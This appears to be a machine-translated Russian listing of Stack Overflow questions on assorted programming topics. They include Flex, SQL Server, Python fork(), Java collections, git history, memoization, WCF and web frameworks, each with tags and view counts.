С Flash 8 я мог бы просто нацелить EXE вместо SWF, и это обернуло бы SWF в проектор, и все работало нормально. Есть ли эквивалент этому, используя Flex 3 SDK, который в конечном итоге не требует AIR?

Примечание: у меня нет Flex Builder, я просто использую бесплатный Flex 3 SDK.

flex   actionscript-3   flash    

497   3   03:18, 25th August, 2020


Лучший / самый быстрый формат сжатия для баз данных (sqlserver)?

Кто-нибудь нашел хороший формат сжатия для баз данных MS Sqlserver? Если да, то что вы используете и довольны ли вы тем, как он работает?

Моя компания часто сжимает снимок базы данных с одного из наших клиентов и загружает его, чтобы у нас была локальная копия для тестирования и разработки. Мы пробовали zip в прошлом, но как только файлы базы данных пересекли границу 4Gb, нам пришлось использовать rar (zip-это только 32-бит). Проблема в том, что RAR занимает много времени для сжатия, и мы не знаем, дает ли он нам лучшую степень сжатия.

Это не вопрос о утилите сжатия, а формат сжатия. Мы используем WinRar, но рассматриваем 7zip, который поддерживает ряд форматов.

sql-server   compression   zip    

432   3   04:48, 12th August, 2020


Что это лучший способ, чтобы дублировать fork() в windows?

Как мне реализовать некоторую логику, которая позволит мне воспроизвести на Windows функциональность, которую я имею на Linux с системным вызовом fork() , используя Python?

Я специально пытаюсь выполнить метод на компоненте SAPI Com, продолжая другую логику в главном потоке без блокировки или ожидания.

python   windows   process   subprocess   fork    

504   7   08:13, 3rd August, 2020


Лучше ли структурировать таблицу SQL, чтобы иметь совпадение, или не возвращать результат

У меня есть интересный вопрос дизайна. Я разрабатываю сторону безопасности нашего проекта, чтобы позволить нам иметь разные версии программы для разных затрат, а также позволить пользователям типа менеджера предоставлять или запрещать доступ к частям программы другим пользователям. Его собираются на веб-основе и размещены на наших серверах.

Я использую простой параметр Разрешить или запретить для каждого 'Resource' или экрана.

У нас будет большое количество ресурсов, и пользователь сможет настроить множество различных групп, чтобы пользователи могли контролировать доступ. Каждый пользователь может принадлежать только к одной группе.

У меня есть два подхода к этому в виду, и мне было любопытно, что было бы лучше для сервера SQL с точки зрения производительности.

Опция A наличие записи в таблице доступа означает, что доступ разрешен. Для этого не потребуется столбец в базе данных для хранения информации. Если результаты не возвращаются, то доступ запрещен.

Я думаю, что это будет означать меньшую таблицу, но будут ли запросы искать всю таблицу, чтобы определить, что нет соответствия?

Опция B битовый столбец включен в базу данных, которая управляет Allow/Deny. это будет означать, что всегда есть результат, который нужно найти, и делает для большей таблицы.

Мысли?

sql   sql-server   optimization    

450   4   21:05, 27th August, 2020


Компонент flvplayback проблемы с памятью

Мой сайт полностью основан на flash, он перемещается вокруг модели 3D, которая была предоставлена мне в виде фрагментов видео, которые я преобразовал в файлы FLV. Я использую компонент FLVPlayback для управления видео внутри моей программы. При выполнении проверок памяти с помощью System.totalMemory я заметил, что всякий раз, когда загружается видео, оно съедает кусок памяти, и даже когда я удаляю из него все прослушиватели событий(все они слабо связаны), удаляю компонент из его родительского элемента, останавливаю видео и null экземпляр компонента, он все равно не вернет эту память.

Это беспокоило меня с тех пор, как я начал работать над этим проектом из-за огромного количества видео, которое пользователь может потенциально создать и загрузить. В настоящее время каждое видео загружается в новый экземпляр FLVPlayback всякий раз, когда это требуется, но я прочитал, что, возможно, лучший способ решить эту проблему-просто иметь глобальный экземпляр FLVPlayback и просто перезагрузить новое видео в старый экземпляр, таким образом, в памяти приложения будет только один компонент FLVPlayback.

Кто-нибудь еще столкнулся с этой проблемой? Вы нашли лучшее решение, чем использование глобального экземпляра, который вы просто повторно используете для каждого нового видео?

actionscript-3   memory   video   flash    

465   5   02:37, 15th August, 2020


Как лучше всего сравнить две коллекции в Java и действовать по ним?

У меня есть две коллекции одного и того же объекта, Collection<Foo> oldSet и Collection<Foo> newSet . Необходимая логика заключается в следующем:

  • если foo находится в(*) oldSet , но не newSet, вызовите doRemove(foo)
  • иначе, если foo находится не в oldSet , а в newSet, вызовите doAdd(foo)
  • в противном случае, если foo находится в обеих коллекциях, но изменен, вызовите doUpdate(oldFoo, newFoo)
  • еще если !foo.activated && foo.startDate >= now, то звоните doStart(foo)
  • еще если foo.activated && foo.endDate <= now , doEnd(foo) звоните

( * ) "in" означает совпадение уникального идентификатора, но не обязательно содержимого.

Текущий (устаревший) код выполняет множество сравнений, чтобы вычислить removeSet , addSet , updateSet , startSet и endSet, а затем выполнить цикл для каждого элемента.

Код довольно грязный (отчасти потому, что я уже пропустил некоторую логику спагетти), и я пытаюсь его рефакторировать. Еще немного фоновой информации:

  • Насколько я знаю, oldSet и newSet на самом деле подкреплены ArrayList
  • Каждый набор содержит менее 100 элементов, скорее всего, максимум 20
  • Этот код вызывается часто (измеряется в millions/day),, хотя наборы редко отличаются

Мой вопрос:

  • Если я преобразую oldSet и newSet в HashMap<Foo> (порядок здесь не имеет значения), с ключами IDs в качестве ключей, будет ли это облегчать чтение кода и его сравнение? Сколько времени & производительность памяти теряется при преобразовании?
  • Будет ли повторение двух наборов и выполнение соответствующей операции более эффективным и лаконичным?

java   collections    

1150   8   13:03, 20th August, 2020


CruiseControl.NET и NAnt

У меня есть проект CC.NET, настроенный для вызова общего файла сборки NAnt, который выполняет некоторые действия, а затем вызывает дочерний файл сборки NAnt. Имя дочернего файла сборки указывается параметром CC.NET в файле сборки команды с помощью свойства.

Препятствие, которое я пытаюсь преодолеть, заключается в том, что общий журнал файлов сборки перезаписывается дочерним журналом файлов сборки, поэтому я не получаю общий журнал сборки в журнале сборки CC.NET.

У кого-нибудь есть идеи, как это исправить?

Я думал об изменении журнала дочерней сборки, но чтение задачи NAnt <nant> не позволяет мне изменить журнал вывода ребенка.

cruisecontrol.net   nant    

409   2   04:34, 16th August, 2020


Расчет Расстояния Между 2 Городами

Как вы рассчитываете расстояние между 2 городами?

algorithm   math   trigonometry   geography    

514   14   14:42, 24th August, 2020


Как я могу искать контент в пределах audio files/streams?

Я всегда задавался вопросом, сколько существует различных методов поиска, для поиска текста, для поиска изображений и даже для видео.

Однако я никогда не сталкивался с решением, которое искало бы содержимое в аудиофайлах.


Например: предположим, что у меня есть около 200 подкастов, загруженных в мой PC в виде файлов mp3, wav и ogg. Все они имеют общее название, скажем, podcast1.mp3, podcast2.mp3 и т. д. Таким образом, невозможно узнать, что такое содержание, не услышав их на самом деле. Скажем так, мне интересно узнать, о чем говорят подкасты 'game programming'. Я хочу, чтобы результаты были показаны как:

  • Podcast1.mp3 - 3 результат(ы) по временному индексу(ы) - 0:16:21, 0:43:45, 1:12:31
  • Podcast21.ogg-1 результат(ы) по временному индексу(ам) - 0:12:01

Так что мои вопросы:

  • Как можно было бы подойти к этой проблеме?
  • Существуют ли подходящие алгоритмы, разработанные для выполнения чего-то подобного?

Одна идея, возникшая у меня в голове, заключалась в том, что можно было бы использовать программное обеспечение " speech-to-text " для получения транскриптов вместе с индексами времени для каждого из аудиофайлов, а затем проанализировать транскрипт, чтобы получить результат.

Я рассматривал это как один из моих хобби-проектов. Спасибо!

search   audio   speech-recognition    

465   1   19:30, 26th August, 2020


Синхронизация библиотек / репозиториев проекта subversion

Я разрабатываю библиотеку вместе с несколькими проектами, которые ее используют, и я обнаружил, что часто изменяю библиотеку одновременно с проектом (например, добавляя функцию в библиотеку и сразу же используя ее в проекте).
В результате проект больше не будет компилироваться с предыдущими версиями библиотеки.

Поэтому, если мне нужно откатить изменение или протестировать предыдущую версию проекта, я хотел бы знать, какая версия библиотеки использовалась при регистрации.
Я полагаю, что я мог бы сделать это вручную (просто написав номер версии в файле журнала), но было бы здорово, если бы это могло произойти автоматически.

svn   synchronization    

435   4   12:05, 12th August, 2020


Как лучше всего настроить компиляцию Ruby в Debian?

При компиляции из исходного кода я никогда не знаю, какие флаги конфигурации использовать для оптимизации компиляции для моей среды. Предположим следующее hardware/OS:

  • Одноядерный Процессор, 2 GHz Intel
  • 512МБ Ram
  • Debian 4

Я обычно просто иду с

./configure --prefix=/usr/local

Я должен делать что-нибудь еще?

ruby   installation   debian    

388   3   03:58, 6th August, 2020


Как я могу построить график строк истории кода для git РЕПО?

В принципе, я хочу получить номер lines-of-code в репозитории после каждого коммита.

Единственный (действительно дерьмовый) способ, который я нашел, - это использовать git filter-branch для запуска wc -l * , а сценарий, который запускает git reset --hard на каждом коммите, затем запускает wc -l

Чтобы было немного понятнее, когда инструмент запускается, он выводит строки кода самого первого коммита, затем второго и так далее. Это то, что я хочу, чтобы инструмент вывел (в качестве примера):

me@something:~/$ gitsloc --branch master
10
48
153
450
1734
1542

Я поиграл с библиотекой ruby 'git', но ближе всего я нашел метод .lines() на diff, который, похоже, должен давать добавленные строки (но не дает: он возвращает 0, когда вы удаляете строки, например)

require 'rubygems'
require 'git'

total = 0
g = Git.open(working_dir = '/Users/dbr/Desktop/code_projects/tvdb_api')    

last = nil
g.log.each do |cur|
  diff = g.diff(last, cur)
  total = total + diff.lines
  puts total
  last = cur
end

python   ruby   git   lines-of-code    

478   4   01:05, 29th August, 2020


Алгоритм сравнения двух изображений

Учитывая два разных графических файла (в любом формате, который я выберу), мне нужно написать программу, чтобы предсказать вероятность того, что один из них будет нелегальной копией другого. Автор копии может делать такие вещи, как поворот, создание негатива или добавление тривиальных деталей (а также изменение размера изображения).

Знаете ли вы какой-нибудь алгоритм для выполнения такого рода работы?

algorithm   image   image-processing   image-recognition    

500   4   12:22, 3rd August, 2020


Лучший способ получить объекты из BlockingQueue в параллельной программе?

Каков наилучший способ получить объекты из BlockingQueue в параллельной программе, не попадая в состояние гонки? В настоящее время я делаю следующее, И я не уверен, что это лучший метод:

BlockingQueue<Violation> vQueue;
/* 
in the constructor I pass in a BlockingQueue object 
full of violations that need to be processed - cut out for brevity
*/

Violation v;
while ( ( v = vQueue.poll(500, TimeUnit.MILLISECONDS) ) != null ) {
    // do stuff with the violation
}

Я еще не достиг состояния гонки... но я не слишком уверен, что это действительно безопасно.

java   concurrency    

388   1   04:25, 3rd August, 2020


Есть ли способ ускорить рекурсию, запоминая дочерние узлы?

Например, Посмотрите на код, который вычисляет число Фибоначчи n-th :

fib(int n)
{
    if(n==0 || n==1)
        return 1;
    return fib(n-1) + fib(n-2);
}

Проблема с этим кодом заключается в том, что он будет генерировать ошибку переполнения стека для любого числа больше 15 (в большинстве компьютеров).

Предположим, что мы вычисляем fib(10). В этом процессе, скажем, fib (5) вычисляется много раз. Есть ли способ сохранить это в памяти для быстрого извлечения и тем самым увеличить скорость рекурсии?

Я ищу общий метод, который может быть использован практически во всех проблемах.

performance   recursion    

651   18   14:10, 1st August, 2020


Как мне маршалировать a lambda (Proc) в Ruby?

Джо Ван Дайк спросил список рассылки Ruby :

Привет,

В Ruby, я полагаю, вы не можете маршалировать объект lambda/proc, верно? Является это возможно в lisp или других языках?

То, что я пытался сделать:

l = lamda { ... }
Bj.submit "/path/to/ruby/program", :stdin => Marshal.dump(l)

Итак, я посылаю BackgroundJob a lambda объект, который содержит контекст/код для того, что нужно сделать. Но, наверное, это было невозможно. Я в итоге был выполнен маршалинг обычного объекта ruby, содержащего инструкции для того, что делать после запуска программы.

Джо

ruby   serialization   lambda   proc-object    

513   7   04:17, 12th August, 2020


AnkhSVN против VisualSVN

В настоящее время я использую AnkhSVN для интеграции subversion в Visual Studio. Есть ли какая-то причина, по которой я должен переключиться на VisualSVN?

AnkhSVN является бесплатным (в более чем одном смысле этого слова), в то время как VisualSVN стоит $50., так что прямо там, если я не упускаю какую-то замечательную особенность VisualSVN, я не вижу никакой причины переключаться.

visual-studio   svn   version-control   visualsvn   ankhsvn    

484   4   00:24, 22nd August, 2020


От Monorail до ASP.Net MVC

В последний раз, когда я брался за нетривиальное приложение .Net/C#, я использовал замок Monorail и, в целом, наслаждался опытом. Early-access/preview выпуски .Net MVC еще не были доступны. Многие "Microsoft shops" теперь найдут решение "official" более привлекательным. Кто-нибудь перешел от Monorail к .Net MVC.

Как вы нашли выключатель?
Каковы самые большие различия в настоящее время?

c#   .net   asp.net-mvc   castle-monorail    

412   5   16:40, 7th August, 2020


Python генератор кода для Visual Studio?

У меня была идея, если я добавлю файл python .py в свой проект C# и помечу файл пользовательским генератором, который выполнит файл python, и обработает вывод как результат генерации кода, т. е. поместите его в файл C#, что позволит мне сделать довольно много генерации кода в рамках процесса сборки.

Кто-нибудь знает, существует ли такой пользовательский генератор для Visual Studio 2008?

python   visual-studio-2008   code-generation    

484   5   14:25, 24th August, 2020


Java аннотации

Какова цель аннотаций в Java? У меня есть это нечеткое представление о них как о чем-то промежуточном между комментарием и реальным кодом. Влияют ли они на программу во время выполнения?

Каковы их типичные обычаи?

Являются ли они уникальными для Java? Существует ли эквивалент C++?

java   annotations   glossary    

554   9   21:46, 29th August, 2020


Инъекция Кода С C#

Можете ли вы использовать windows крючки или другие методы, чтобы сделать инъекцию кода с c#? я видел много вещей о инъекции кода, но все они сделаны в C/C++. я не знаю ни одного из этих языков и очень трудно переводить. У кого-нибудь есть идеи, как это сделать?

c#   code-injection    

455   4   10:22, 4th August, 2020


Функциональное программирование и нефункциональное Программирование

На втором курсе университета мы были "taught" Haskell, я почти ничего не знаю об этом и еще меньше о функциональном программировании.

Что такое функциональное программирование, почему и / или где я хотел бы использовать его вместо нефункционального программирования и правильно ли я думаю, что C-это нефункциональный язык программирования?

functional-programming   paradigms   glossary    

459   8   09:52, 27th August, 2020


Лучшее решение для аутентификации в Ruby на Rails

Я ищу готовое решение, которое можно использовать в моем приложении RoR. В идеале я ищу что-то похожее на проверку подлинности ASP.NET форм, которая обеспечивает проверку email, элементы управления регистрацией и позволяет пользователям сбрасывать свои пароли. Ах да, и легко позволяет мне вытащить пользователя, который в данный момент вошел в приложение.

Я начал просматривать уже написанные фрагменты, но обнаружил, что это действительно сбивает с толку. Я посмотрел на LoginGenerator, RestfulAuthentication, SaltedLoginGenerator, но, похоже, нет ни одного места, где есть отличные учебники или их сравнение. Если есть сайт, который я просто еще не обнаружил, или если есть стандарт де-факто, которым пользуется большинство людей, я был бы признателен за помощь.

ruby-on-rails   ruby   authentication    

476   12   00:04, 6th August, 2020


Каковы лучшие веб-фреймворки MVC на рынке?

Я ищу веб-фреймворк для перемещения приложений на основе windows в сеть.

Основными требованиями к WF являются следующие:

  1. поддержка модульных тестов
  2. поддержка настольных и мобильных браузеров
  3. долгосрочная жизнеспособность
  4. зрелость структуры

model-view-controller   web-frameworks    

434   19   10:13, 1st August, 2020


Выгодно ли вообще использовать 'goto' в языке, поддерживающем циклы и функции? Если да, то почему?

У меня уже давно сложилось впечатление, что goto никогда не следует использовать, если это возможно. Просматривая libavcodec (который написан в C) на днях, я заметил, что он используется многократно. Выгодно ли вообще использовать goto в языке, поддерживающем циклы и функции? Если да, то почему?

c   exception-handling   language-agnostic   goto    

510   24   04:33, 26th August, 2020


Что такое "best" способ хранения международных адресов в базе данных?

Каков "лучший" способ хранения международных адресов в базе данных? Ответьте в виде схемы и объясните причины, по которым вы решили нормализовать (или нет) свой путь. Также объясните, почему вы выбрали тип и длину каждого поля.

Примечание: Вы сами решаете, какие поля вы считаете необходимыми.

database   internationalization   globalization   street-address    

449   6   16:35, 22nd August, 2020


Какие существуют альтернативы Model-View-Controller?

Проходя через университет и следя за развитием SO,я много слышал об архитектурном дизайне Model-View-Controller. Я случайно использовал шаблон MVC еще до того, как узнал, что это такое, и до сих пор использую его в своей повседневной работе. Из того, что я видел, это, вероятно, самый популярный шаблон, используемый сегодня. Но вот о чем я почти ничего не слышал, так это об альтернативных шаблонах, которые вы можете использовать вместо MVC. Какие существуют варианты и по каким причинам вы решили бы использовать их над MVC? Мне также интересно знать, для каких типов систем они обычно используются. Наконец, каковы плюсы и минусы, которые приходят вместе с их использованием?

model-view-controller   mvp   passive-view   architectural-patterns    

669   10   17:50, 1st August, 2020


фильтр" плохие слова"

Не очень технично, но ... .. Я должен внедрить фильтр плохих слов в новый сайт, который мы разрабатываем. Поэтому мне нужен список плохих слов "good", чтобы накормить мою БД... какой-нибудь намек / направление? Посмотрев вокруг с помощью google, я нашел вот это , и это начало, но не более того.

Да, я знаю, что такого рода фильтры легко избежать... но воля клиента - это воля клиента !!! :-)

Сайт должен будет отфильтровать как английские, так и итальянские слова, но для итальянского языка я могу попросить своих коллег помочь мне с построенным сообществом списком "parolacce": -) - an email подойдет.

Спасибо за любую помощь.

list   dictionary   profanity    

522   9   00:41, 11th August, 2020


WYSIWYG редактор gem для Rails?

Есть ли хороший ruby gem для редактора WYSIWYG, который легко будет работать с приложением rails?

ruby-on-rails   ruby   gem    

472   12   09:06, 21st August, 2020


Как автоматизировать сборку Visual Studio?

Как превратить сборку Visual Studio, выполняемую в IDE, в сценарий, который можно запустить из командной строки?

visual-studio   build-automation    

716   11   16:27, 29th August, 2020


Каковы плюсы и минусы различных веб-фреймворков Java?

Я рассматриваю возможность создания собственного веб-сайта с использованием Java и пытаюсь решить, какой фреймворк использовать. Однако при быстром поиске Java фреймворков возвращается более 50 вариантов на выбор!

Мой сайт будет просто для моего собственного удовольствия строить его в начале, но если он станет популярным, было бы хорошо, чтобы он имел некоторую масштабируемость или, по крайней мере, мог бы перепроектировать для этого.

Каковы основные различия между более популярными фреймворками? Есть ли случаи, когда один значительно превосходит других? Например, корпоративные приложения с высоким трафиком по сравнению с малыми приложениями с низким трафиком. Мне также интересно, если некоторые из них гораздо легче изучать и использовать, чем другие.

Есть ли кто-нибудь, кто имеет опыт работы с некоторыми из этих рамок и может дать рекомендации? Является ли само количество вариантов просто ранним предупреждением, чтобы избежать Java-ориентированной веб-разработки, где это возможно?

java   web-frameworks   rich-internet-application    

642   24   11:26, 9th August, 2020


Абстракция против сокрытия информации против инкапсуляции

Можете ли вы сказать мне, в чем разница между абстракцией и сокрытием информации в разработке программного обеспечения?

Я в замешательстве. Абстракция скрывает детализацию реализации и информация, скрывающая абстрактные целые детали чего-то.

Update: я нашел хороший ответ для этих трех концепций. Смотрите отдельный ответ ниже для нескольких цитат, взятых оттуда .

encapsulation   abstraction   glossary   ooad   information-hiding    

637   20   07:05, 10th August, 2020


Каковы некоторые примеры реализации шаблонов проектирования с использованием JavaScript?

Я умеренно квалифицированный программист, использующий JavaScript, но я не гуру. Я знаю, что вы можете делать с ним довольно мощные вещи, просто я не видел ничего, кроме довольно простых манипуляций DOM. Мне интересно, могут ли люди привести некоторые примеры традиционных концепций дизайна, таких как фабричный метод, Singleton и т. д. с использованием JavaScript. В каких случаях эти шаблоны будут использоваться в интернете?

javascript   design-patterns   singleton   strategy-pattern   factory-method    

439   10   01:27, 25th August, 2020


Отображение версии базового программного обеспечения в нижнем колонтитуле веб-приложения?

Я думаю о предоставлении версии, скажем, схемы базы данных и dlls для бизнес-логики в нижнем колонтитуле моего веб-приложения.

Разве это советуют?

Есть ли какие-либо подводные камни, или указатели, как сделать это лучше всего?

Проблемы юзабилити?

У меня уже есть схема версий, как для схемы, так и для библиотек DLL, используемых в моем решении CI.

web-applications   assemblies   versioning    

413   3   05:13, 11th August, 2020


Как написать аддон Firefox?

Каковы некоторые ресурсы для начала написания дополнения Firefox? Есть ли где-нибудь API руководство? Есть ли где-нибудь учебник по началу работы? Есть ли где-нибудь доска для обсуждения разработчиков?

firefox   firefox-addon   add-on    

568   6   23:18, 1st August, 2020


Автоматизация процесса сборки MSI

У кого-нибудь есть хороший способ построить проекты MSI (vdproj) с использованием MsBuild или Nant?

Я знаю, что одним из ответов было установить Visual Studio на сервере сборки и просто использовать devenv.exe для сборки проекта, но я предпочитаю не устанавливать Visual Studio на наших серверах сборки.

build-process   build-automation    

509   2   06:44, 2nd August, 2020


Реализация пользовательского действия рабочего процесса Windows, выполняющего асинхронную операцию

У меня возникли некоторые концептуальные проблемы с выяснением того, как лучше всего реализовать это... Я хочу создать пользовательский класс активности для рабочего процесса Windows. Действие должно вызывать сторонний библиотечный метод, который сам запускает другой процесс асинхронно и может занять от нескольких секунд до нескольких часов для завершения. Эта библиотека предоставляет мне возможность либо опросить результат метода, либо подписаться на событие, которое указывает на его завершение. В моих приложениях, не связанных с рабочим процессом, я обычно просто подписываюсь на это событие, но это не кажется разумным в случае рабочего процесса. Я также не уверен, как лучше всего реализовать схему опроса. Может ли кто-нибудь порекомендовать некоторые указатели на подобные проблемы?

asynchronous   workflow   workflow-foundation   workflow-activity    

449   1   07:28, 23rd August, 2020


Используете ли Вы услуги Amazons Cloud для своей компании?

Я много читал о возможностях вычислений Amazons Cloud, таких как S3 или EC2 , и мне было интересно, действительно ли кто-то использует это для критически важных приложений. Вы размещаете сайт своей компании в cloud? Вы храните там файлы? Вы запускаете свои серверы сборки в cloud?

Есть уже некоторые сервисы, такие как Scalr или WeoCeo , которые могут помочь вам в этой задаче, но я не знаю, находится ли управление уже на том этапе, когда это действительно проблема...


edit я хотел бы добавить еще один момент: как вы думаете, есть ли скрытые проблемы в лицензиях AWS, которые удерживали бы вас (and/or ваша компания) от аутсорсинга приложений или даже частей приложений в cloud?

edit знаете ли вы о некоторых статистических данных, сравнивающих общее время простоя S3 или EC2 и ваших собственных или сторонних хостинг-сервисов?

amazon-s3   amazon-ec2   cloud    

395   8   07:26, 8th August, 2020


Есть ли разница в производительности между i++ и ++i в C?

Есть ли разница в производительности между i++ и ++i , если результирующее значение не используется?

c   performance   optimization   post-increment   pre-increment    

495   13   22:11, 4th August, 2020


Как захватить выходные данные интерпретатора Python и/или CMD.EXE's из сценария Python?

  1. Можно ли захватить выходные данные интерпретатора Python из скрипта Python?
  2. Можно ли захватить выходные данные Windows CMD из сценария Python?

Если да, то в какую библиотеку(y|ies) мне следует заглянуть?

python   windows   cmd    

430   5   13:41, 9th August, 2020


Существует ли функциональный язык для экосистемы C++?

Java имеет Scala и .NET имеет F# . Оба этих языка очень хорошо интегрированы в соответствующие платформы Java и .NET. Классы могут быть записаны в Scala, а затем расширены в Java, например.

Существует ли эквивалентный функциональный язык, который хорошо взаимодействует с C++?

c++   functional-programming    

404   9   06:01, 9th August, 2020


Lisp исполняемый файл

Я только начал изучать Lisp и не могу понять, как скомпилировать и связать код lisp с исполняемым файлом.

Я использую clisp и clisp -c для получения двух файлов:

  • .fas
  • .lib

Что мне делать дальше, чтобы получить исполняемый файл?

build   lisp   common-lisp   clisp    

453   6   03:47, 26th August, 2020


Двоичный буфер в Python

В Python вы можете использовать StringIO как файловый буфер для символьных данных. Сопоставленный с памятью файл в основном делает то же самое для двоичных данных, но для этого требуется файл, который используется в качестве основы. Есть ли у Python файловый объект, предназначенный для двоичных данных и являющийся только памятью, эквивалентной Java ByteArrayOutputStream ?

У меня есть вариант использования: я хочу создать файл ZIP в памяти, а ZipFile требует файлоподобного объекта.

python   binary   io   buffer    

442   3   10:46, 1st August, 2020


Каков ваш опыт проверки программных моделей?

  • Для каких типов приложений вы использовали проверку моделей ?
  • Какой инструмент проверки модели вы использовали?
  • Как бы вы суммировали свой опыт w/ этой техники, в частности, в оценке ее эффективности в обеспечении более высокого качества программного обеспечения?

В ходе моих исследований у меня была возможность использовать Spin, и это вызвало мое любопытство относительно того, сколько фактической проверки модели происходит и какую ценность получают организации из нее. В моем опыте работы я работал над бизнес-приложениями, где (естественно)нет никакого рассмотрения применения формальной проверки к логике. Я бы очень хотел узнать о SO людях, которые проверяют опыт и мысли по этому вопросу. Станет ли проверка моделей когда-нибудь более широко используемой развивающейся практикой, которую мы должны иметь в нашем инструментарии?

algorithm   correctness   formal-methods   formal-verification   model-checking    

452   5   10:02, 7th August, 2020


Как предотвратить тайм-аут сеанса в Symfony 1.0?

Я использовал фреймворк PHP MVC Symfony для создания веб-приложения по требованию.

У него есть досадная ошибка-сеанс истекает примерно через 15-30 минут бездействия. Существует директива конфигурации для предотвращения истечения срока действия сеанса, но она не работает. Даже обходные пути, такие как этот, не помогли мне.

Я не намерен мигрировать в Symfony 1.1 (который исправляет эту ошибку) в обозримом будущем.

Кто-нибудь был там и решил это? Я был бы очень благодарен за подсказку или два!

php   symfony1    

465   4   21:39, 20th August, 2020


Что является оптимальным? UNION ВС, где в (str1 выглядит следующим образом, стр2, стр3)

Я пишу программу, которая отправляет email в определенное локальное время клиента. У меня есть.NET метод, который принимает timezone & времени и назначения timezone и возвращает время в этом timezone. Поэтому мой метод состоит в том, чтобы выбрать каждый отдельный timezone в базе данных, проверить, правильно ли это время с помощью метода, а затем выбрать каждого клиента из базы данных с этим timezone(s).

Запрос будет выглядеть как один из них. Имейте в виду, что порядок результирующего набора не имеет значения, поэтому объединение было бы хорошо. Что работает быстрее, или они действительно делают то же самое?

SELECT email FROM tClient WHERE timezoneID in (1, 4, 9)

или

SELECT email FROM tClient WHERE timezoneID = 1
    UNION ALL SELECT email FROM tClient WHERE timezoneID = 4
    UNION ALL SELECT email FROM tCLIENT WHERE timezoneID = 9

Изменить: timezoneID-это внешний ключ к tTimezone, таблица с первичным ключом timezoneID и полем varchar (20) timezoneName.

sql   optimization    

448   7   01:57, 4th August, 2020


WCF-объекты домена и IExtensibleDataObject

Типичный сценарий. Мы используем старой школы XML internally web-сервисов для обмена данными между серверами фермы и нескольких распределенных и локальных клиентов. Никакие третьи лица не участвуют, только наши приложения, используемые нами и нашими клиентами.

В настоящее время мы размышляем о переходе от модели XML WS к модели WCF/object-based и экспериментируем с различными подходами. Один из них включает в себя передачу объектов домена / агрегатов непосредственно по проводу, возможно, вызывая атрибуты DataContract на них.

Используя IExtensibleDataObject и DataContract с помощью свойства Order на DataMembers, мы должны быть в состоянии справиться с простыми проблемами управления версиями свойств (помните, что мы контролируем всех клиентов и можем легко принудительно обновить их).

Я постоянно слышу, что мы должны использовать выделенные объекты передачи данных только для передачи данных ( DTOs ) по проводу.

Почему? Есть ли еще причина для этого? Мы используем одну и ту же модель домена на стороне сервера и на стороне клиента, конечно, предварительно заполняя коллекции и т. д. только в том случае, когда это считается правильным, и свойства коллекции "necessary." используют принцип Service locator и IoC для вызова либо NHibernate-based "service" для прямой выборки данных (на стороне сервера), либо клиента WCF "service" на стороне клиента для связи с фермой серверов WCF .

Итак-почему мы должны использовать DTOs ?

wcf   serialization   soap   domain-driven-design   soa    

416   2   21:09, 27th August, 2020


Flash лучшие практики совместной работы дизайнера и верстальщика

Я сделал несколько проектов flash, работая как ActionScripter с дизайнером, делающим все красивые вещи и анимацию. Когда я начинал, я нашел довольно много информации о кодировании ActionScript и дизайне flash. Большая часть имеющейся информации, по-видимому, сосредоточена на одном или другом.

Я не нашел никакой информации о построении проектов flash таким образом, чтобы кодер мог делать свое дело AND дает дизайнеру свободу.

Надеюсь, что более опытные люди могут поделиться, это некоторые из вещей, которые я обнаружил после нескольких проектов

  • Контроль версий является обязательным (как всегда), но может быть трудно объяснить дизайнерам
  • Нет ActionScript в файлах flash .fla , они двоичны, и как кодер вы хотите попытаться держаться как можно дальше
  • Контроллер вида модели-это лучший способ, который я нашел, чтобы изолировать визуальные изменения дизайна
  • Попробуйте построить представления так, чтобы они использовали метки фреймов, это позволит дизайнеру решить, что же на самом деле происходит

Каковы ваши переживания?

flash   actionscript    

475   4   06:11, 4th August, 2020


Семейный Сайт CMS

Я ищу CMS, который был бы невероятно удобным для пользователя и имел бы следующие функции:

  • очень простая доска объявлений (не требуется вход в систему)
  • родословная
  • область рассказывания историй
  • раздел фотографий
  • раздел новостей

Есть ли что-нибудь там, как это, что действительно легко настраивается? Я уже связался с Мамбо и семейными связями, но мне не нравилось ни то, ни другое. В прошлом я просто программировал свои собственные веб-сайты, из-за отсутствия легко реализуемых функций. Тем не менее, я предполагаю, что есть что-то, что мне нужно там просто так, что я не могу найти. Спасибо.


Я не хочу, чтобы кто-то входил в систему, например. Это для семейного веб-сайта, и большая часть моей семьи действительно не знает, что такое веб-сайт, не говоря уже о том, как его использовать. Я хочу супер простой сайт с огромными кнопками и не так много отвлекающих факторов. Семейные связи-хороший пример того, что я хочу, за исключением того, что фотоальбом ужасен. Я хочу, чтобы люди отправляли сообщения без входа в систему или регистрации, и не видели эту способность на сайтах mambo, которые я смотрел.

plugins   content-management-system    

368   7   22:43, 7th August, 2020


Абстрагирование от CSS

Позвольте мне кое-что совершенно понятно.

Ненавижу . CSS.

Это нескончаемый кошмар. Каждое незначительное изменение макета кажется взломом. Решения проблем, кажется, часто включают в себя дрожание чисел вокруг, как какой-то шеф-повар пытается решить, сколько именно мускатного ореха положить в его знаменитый рисовый пудинг. Затем возникает проблема с несколькими браузерами, проблемы с несколькими разрешениями.. ..

короче говоря, это боль. Питу, если хотите.

Многие фреймворки стремятся абстрагироваться от HTML (пользовательские теги, компонентная система JSFs), чтобы облегчить работу с этим конкретным чайником рыбы.

Есть ли что-нибудь, что вы, ребята, использовали, что имеет аналогичную концепцию применительно к CSS? Что-то, что делает кучу кросс-браузерной магии для вас, поддерживает такие переменные (почему мне нужно вводить #3c5c8d каждый раз, когда я хочу этот цвет), поддерживает вычисляемые поля (которые являются 'compiled' в CSS и JS) и т. д.

В качестве альтернативы, я даже думаю об этом правильно? Я пытаюсь протолкнуть очень квадратный блок через очень круглое отверстие?

css   abstraction    

395   18   08:48, 22nd August, 2020


Насколько дорого стоит .NET отражение?

Я постоянно слышу, как плохо использовать отражение. Хотя я обычно избегаю размышлений и редко нахожу ситуации, когда без них невозможно решить мою проблему, мне было интересно...

Для тех, кто использовал отражение в приложениях, вы измерили хиты производительности и, действительно ли это так плохо?

c#   .net   performance   reflection    

442   13   08:33, 21st August, 2020


Лучший способ запустить приложение Java в качестве демона *nix или службы Windows?

Я ищу лучший метод для запуска приложения Java в качестве демона *NIX или службы Windows. Я заглянул в оболочку сервиса Java, проект Apache Commons 'jsvc' и проект Apache Commons 'procrun' . До сих пор оболочка службы Java выглядит так, как будто это лучший вариант... но мне интересно, есть ли какие-либо другие лицензионные продукты "Open Source friendly".

java   unix   windows-services   daemon    

539   3   20:16, 18th August, 2020


ASP.NET главные страницы эквивалентны в Java

